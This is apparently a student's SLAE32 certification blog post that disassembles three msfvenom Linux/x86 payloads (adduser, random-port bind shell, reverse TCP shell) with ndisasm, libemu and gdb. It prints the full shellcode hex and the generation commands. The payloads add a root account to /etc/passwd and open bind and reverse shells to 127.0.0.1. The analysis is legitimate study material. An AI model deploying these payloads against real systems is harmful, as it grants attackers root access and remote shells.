/SLAE32: Assignment 5

# Introduction

For the fifth assignment, I was supposed to generate three linux/x86 payloads with msfvenom and analyze the shellcode using libemu/gdb/ndisasm. I decided to use the following three:
  1. linux/x86/adduser
  2. linux/x86/shell_bind_tcp_random_port
  3. linux/x86/shell_reverse_tcp

# linux/x86/adduser

I first dumped the shellcode:
msfvenom -p linux/x86/adduser USER=user PASS=pass -f c
Then pasted it into `shellcode.c`, and compiled with:
gcc shellcode.c -o shellcode
Libemu didn't give any meanigful output for this shellcode. I did however use the output of ndisasm, created with this command:
echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x22\x00\x00\x00\x75\x73\x65\x72\x3a\x41\x7a\x77\x31\x37\x63\x54\x6e\x6e\x4a\x41\x41\x41\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u - -b 32 -p intel > linux-x86-adduser.ndisasm
To analyze the shellcode itself I decided to use GDB with the pwndbg plugin. First I needed to skip my runner code and get to the actual shellcode. The commands needed are:
b*main+201
r
stepi
The first thing the shellcode does is set the real and effective user id of the process to 0 (root)

setreuid(0, 0);
00000000  31C9              xor ecx,ecx             ; ECX = 0
00000002  89CB              mov ebx,ecx             ; EBX = 0
00000004  6A46              push byte +0x46
00000006  58                pop eax                 ; EAX = 0x46
00000007  CD80              int 0x80                ; setreuid(...)
Next open "/etc/passwd", which is the file where users are defined on linux

int fd = open("/etc/passwd", 0x401);
00000009  6A05              push byte +0x5
0000000B  58                pop exam                ; EAX = 0x5
0000000C  31C9              xor ecx,ecx             ; ECX = 0
0000000E  51                push ecx				
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f   ; Push "/etc//passwd\x00"
0000001E  89E3              mov ebx,esp             ; EBX = *"/etc/passwd\x00"
00000020  41                inc ecx                 ; ECX = 1
00000021  B504              mov ch,0x4              ; ECX = 0x401 = O_NOCTTY | O_WRONLY 
00000023  CD80              int 0x80                ; open(...)
Assembly code from here on was incorrectly disassembled by ndisasm, so I won't include it. What happens is: buf is a predefined series of characters with the value "user:Azw17cTnnJAAA:0:0::/:/bin/sh\n". The shellcode appends this line to "/etc/passwd"

write(fd, buf, len(buf));
Then the shellcode exits without setting a specific status code:

exit();

# linux/x86/shell_bind_tcp_random_port

First I dumped the shellcode:
msfvenom -p linux/x86/shell_bind_tcp_random_port -f c
Next I got a graph with libemu:
echo -ne "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x50\x89\xe1\xb0\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\xcd\x80" | sctest -vvvv -Ss 100000 -G linux-x86-shell_bind_tcp_random_port.dot
dot linux-x86-shell_bind_tcp_random_port.dot -Tpng -o linux-x86-shell_bind_tcp_random_port.png

Next I dissasembled the shellcode with ndisasm. This time the shellcode was accurate.
echo -ne ... | ndisasm -u - -b32 -p intel
Finally I started analyzing the workings with gdb.
b*main+286
r
stepi
First the shellcode creates a socket with the socketcall syscall and the SYS_SOCKET subcall.
int socketcall(0x1, *args);
int sockfd = socket(int domain, int type, int protocol);
00000000  31DB              xor ebx,ebx           ; EBX = 0
00000002  F7E3              mul ebx				
00000004  B066              mov al,0x66           ; EAX = 0x66 (SYS_SOCKETCALL)
00000006  43                inc ebx               ; EBX = 0x1 (SYS_SOCKET)
00000007  52                push edx              ; int protocol = 0x0 (default)
00000008  53                push ebx              ; int type = 0x1 (SOCK_STREAM)
00000009  6A02              push byte +0x2        ; int domain = 0x2 (AF_INET)
0000000B  89E1              mov ecx,esp           ; *args = ESP
0000000D  CD80              int 0x80              ; socketcall() -> socket()
Next, the shellcode makes another socketcall, this time it is with the SYS_LISTEN subcall. Since the socket was not bound to any port, this will make the socket listen on an arbitrary (free) port.
int socketcall(0x4, *args);
int listen(sockfd, 0);
0000000F  52                push edx              ; int backlog = 0
00000010  50                push eax              ; int sockfd = result of socket()
00000011  89E1              mov ecx,esp           ; *args = ESP
00000013  B066              mov al,0x66           ; EAX = 0x66 (SYS_SOCKETCALL)
00000015  B304              mov bl,0x4            ; EBX = 0x4
00000017  CD80              int 0x80              ; socketcall() -> listen()
Next, another socketcall (SYS_ACCEPT). This will block until a client connects to the socket.
int socketcall(int 0x5, *args);
int accept();
00000019  B066              mov al,0x66           ; EAX = 0x66 (SYS_SOCKETCALL)
0000001B  43                inc ebx               ; EBX = 0x5 (SYS_ACCEPT)
0000001C  CD80              int 0x80              ; socketcall() -> accept()
For testing I connected to the socket with netcat.


Once a client connected to the socket, the following shellcode will execute. It will duplicate the file descriptors 0-ECX in a loop (STDIN, STDOUT, STDERR) so that all I/O to the shell will be controlled by the client.
int dup2(int oldfd, int newfd);
0000001E  59                pop ecx               ; ECX = sockfd
0000001F  93                xchg eax,ebx          ; EBX = 4
00000020  6A3F              push byte +0x3f
00000022  58                pop eax               ; EAX = 0x3f (SYS_dup2)
00000023  CD80              int 0x80              ; dup2()
00000025  49                dec ecx
00000026  79F8              jns 0x20
And finally "/bin/sh" is executed and the client should have a shell now.
int execve(const char *pathname, char *const argv[], char *const envp[]);
00000028  B00B              mov al,0xb            ; EAX = 0xb (SYS_EXECVE)
0000002A  682F2F7368        push dword 0x68732f2f ; "hs//"
0000002F  682F62696E        push dword 0x6e69622f ; "nib/"
00000034  89E3              mov ebx,esp           ; argv[] = *"/bin//sh"
00000036  41                inc ecx               ; envp[] = nullptr
00000037  CD80              int 0x80              ; execve()

# linux/x86/shell_reverse_tcp

reverse_tcp LPORT=443 LHOST=127.0.0.1 -f c
Next I generated a graph with libemu to visual the system calls.
echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" | sctest -vvv -Ss 100000 -G linux-x86-shell_reverse_tcp.dot
dot linux-x86-shell_reverse_tcp.dot -Tpng -o linux-x86-shell_reverse_tcp.png




I disassembled the shellcode with ndisasm:
echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" | ndisasm -u - -b 32 -p intel
And I pasted the shellcode into shellcode.c and compiled it so that I can view the observe the functionality in gdb.
gcc shellcode.c -o shellcode
Finally I loaded up ./shellcode into gdb, stepped to the beginning of the shellcode and began my analysis.
b*main+201
r
stepi
The first thing the shellcode does is create a socket.
int socketcall(int call, unsigned long *args);
int socket(int domain, int type, int protocol);
00000000  31DB              xor ebx,ebx     ; EBX = 0
00000002  F7E3              mul ebx
00000004  B066              mov al,0x66     ; EAX = 0x66 (SYS_SOCKETCALL)
00000006  43                inc ebx         ; EBX = 1
00000007  52                push edx        ; int protocol = 0 (default)
00000008  53                push ebx        ; int type = 1 (SOCK_STREAM)
00000009  6A02              push byte +0x2  ; int domain = 2 (AF_INET)
0000000B  89E1              mov ecx,esp     ; *args = ESP
0000000D  CD80              int 0x80        ; socketcall() -> socket()
Note: parts of the shellcode were incorrectly dissasembled by ndisasm, so I will be copying the remaining shellcode by hand from gdb. Once the socket is created, the shellcode calls SYS_dup2 for STDIN, STDOUT, and STDERR to be redirected to the socket.
int dup2(int oldfd, int newfd);
0000000F    xchg eax, ebx       ; EBX = sockfd
00000010    pop ecx             ; ECX = 2
00000011    mov al, 0x3f        ; EAX = 0x3f (SYS_dup2)
00000013    int 0x80            ; dup2()
00000015    dec ecx             ; ECX -= 1
00000016    jns 0x11            ; loop until ECX < 0
Once the file descriptors are copied, the shellcode uses another socket call to SYS_CONNECT to connect to the HOST/PORT that was specified when generating the shellcode with msfvenom.

00000018    push 0x0100007f     ; 127.0.0.1
0000001D    push 0xbb010002     ; 443, AF_INET
00000022    mov ecx, esp        ; *args = ESP
00000024    mov al, 0x66        ; EAX = 0x66 (SYS_SOCKETCALL)
00000026    push eax				 
00000027    push ecx
00000028    push ebx				
00000029    mov bl, 3           ; int call = 3 (SYS_CONNECT)
0000002B    mov ecx, esp        ; *args = ESP
0000002D    int 0x80            ; socketcall() -> connect()
For debugging, I started a netcat listener to receive the connection.



Once a client is connected, the shellcode finally executes "/bin/sh" and the client should have a shell at this point.
int execve(const char *pathname, char *const argv[], char *const envp[]);
0000002F    push edx
00000030    push 0x68732f6e     ; "hs//"
00000035    push 0x69622f2f     ; "nib/"
0000003A    mov ebx, esp        ; *pathname = *"/bin//sh"
0000003C    push edx
0000003D    push ebx
0000003E    mov ecx, esp        ; argv[] = {"/bin//sh"}
00000040    mov al, 0xb         ; EAX = 0xb (SYS_EXECVE)
00000042    int 0x80            ; execve()

# SLAE32 Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linx-assembly-expert/
Student ID: PA-25640

All my code for the exam is available in my SLAE32 exam Github repository.